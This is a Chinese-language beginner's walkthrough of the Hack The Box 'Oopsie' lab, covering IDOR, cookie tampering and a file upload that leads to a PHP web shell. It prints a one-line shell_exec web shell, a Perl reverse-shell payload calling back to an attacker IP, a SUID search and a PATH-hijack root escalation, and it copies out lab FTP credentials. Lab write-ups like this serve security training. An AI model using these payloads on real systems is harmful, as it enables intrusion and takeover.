Hack The Box - Oopsie
攻略的话在靶场内都有,也有官方的攻略,我作为一个技术小白,只是想把自己的通关过程记录下来,没有网站内大佬们写得好。 准备工作就不过多赘述,如果有不清楚的请点这里(Hack The Box - 如何开始。)
我们获得了一个IP:
访问一下:
存在web页面
扫描一下端口:
只有两个端口,那就从web入手吧。
目录扫描,速度奇慢,算了,先让他扫吧,就不贴图了。
随便点点,没什么反应,往下翻,看到了这个:
还有这个:
第一张图,说登录可以获得服务,第二张图,如果做过上个靶场,细心一点的话,会发现他们两个好像有点关联,(粗心的我,完全没考虑这个,后来才发现。)
然后就是找登录页,目录扫描还在扫,没一点结果,尝试了一些常见的,也没反应,查看一下网页源代码:
看到了一个跟登录有点关系的,点开看看JS里有什么。。。什么也没有,把script.js删了,看看上级目录里有什么。。。
然后弹出了登录框:
尝试了一下,没有常见的弱口令,没验证码,直接扔工具爆破了,然后,没爆出来。。。
在首页一直看啊看,记得之前有一个靶场,账号和密码就藏在网页内容中,需要一点点社工。。。
现在说到上边那个图,猜测可能和上一个靶场密码一样,(其实看了攻略)
账号admin,密码就是上一个靶场主机的密码。
登录进来:
常规随便点点:
好嘛,发现每一个模块的URL后边的数字都是可以修改并改变网页的内容,上传这里显示需要超级管理员,谁能拒绝一个可能的文件上传呢?
我天真的以为可能存在SQL注入吧,直接扔sqlmap了,然后报错了,就不贴图了,不死心的我,又拿出了自己的脚本,跑了一下发现返回长度并不是全部相等得,但是好像并不存在SQL注入,或许是我的脚本太菜,没测出来,这里就不放脚本和截图了,后来才发现burp能直接实现。。。(蠢)
抓包爆破:
配置和结果:(因为之前拿脚本跑过,所以知道是30,这里就写了50,不知道的话我们可以试着数字更长一些。)
将账户页面的URL的id改为30:
新的问题是,我知道这个有什么用。。。
尝试拿原来的密码登录了一下没反应,然后在包内容中发现cookie:
尝试修改cookie:
心心念念的文件上传:
尝试上传一个文件:
上传成功,可是我们不知道文件路径。。。
目录扫描那边,或许是字典太拉跨了吧,什么也没扫出来,看了攻略换了一个工具。
dirsearch:
不用想了,uploads无疑:
上小马试试:(在这里我们可以看到网站是使用PHP写的,所以直接上PHP小马。)
直接成了,没有任何阻拦。
上蚁剑:
完美。
根据上个靶场的经验,推测大概率flag在家目录下,直奔主题:
不出所料,现在就是想办法提权拿到另一个flag。
发现数据库配置文件,连上了数据库,但是好像没什么用:
虚拟终端好像也用不了:
东西就在这,但是我访问不了:
看了攻略,用了kali的php-reverse-shell,传不上去,总是超时,也尝试拿蚁剑去写一个php-reverse-shell,但是保存的时候也是一直加载。好像陷入了死局,攻略是假的。。。
然后,我找到了这个:
<?php echo shell_exec($_GET['shell']);?>
上传之后访问,后边跟上参数:(IP和端口,记得修改成自己的。)
?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.14.61:1234%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27
kali开启监听:
访问:
成功反弹:
然后shell不是交互式的,用起来不太方便,我们用这个:
SHELL=/bin/bash script -q /dev/null
两者区别:
第一个输入ll,没有反应,第二个输入ll,会告诉你命令不存在。
然后我们切换一下用户:(通过刚才在蚁剑中访问家目录和db.php文件,猜测存在该用户,且密码相同。毕竟我们目前的用户权限太低了)
用淘来的命令:(查看具有 SUID 的可执行文件)
ls -lh $(find / -perm -u=s -type f 2>/dev/null)
发现了这个:(每个组挨个试一下,发现robert刚好也在这个组内)
cat /etc/group | grep bugtracker
运行一下这个文件:
随便输个东西看看有什么反应:
通过返回情况,我们可以看到这个程序调用了cat,我们追加一个/bin/bash试一下:
成功提权root。直奔flag:
在这,我们还看到一个config目录:(当时我是完全没看到的,完全被flag冲昏了头脑,后来看攻略,发现有这个问题,就顺道把内容复制出来吧,说不定,下一个靶场能用到。)
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <FileZilla3> <RecentServers> <Server> <Host>10.10.10.46</Host> <Port>21</Port> <Protocol>0</Protocol> <Type>0</Type> <User>ftpuser</User> <Pass>mc@F1l3ZilL4</Pass> <Logontype>1</Logontype> <TimezoneOffset>0</TimezoneOffset> <PasvMode>MODE_DEFAULT</PasvMode> <MaximumMultipleConnections>0</MaximumMultipleConnections> <EncodingType>Auto</EncodingType> <BypassProxy>0</BypassProxy> </Server> </RecentServers> </FileZilla3>
至此,全部结束。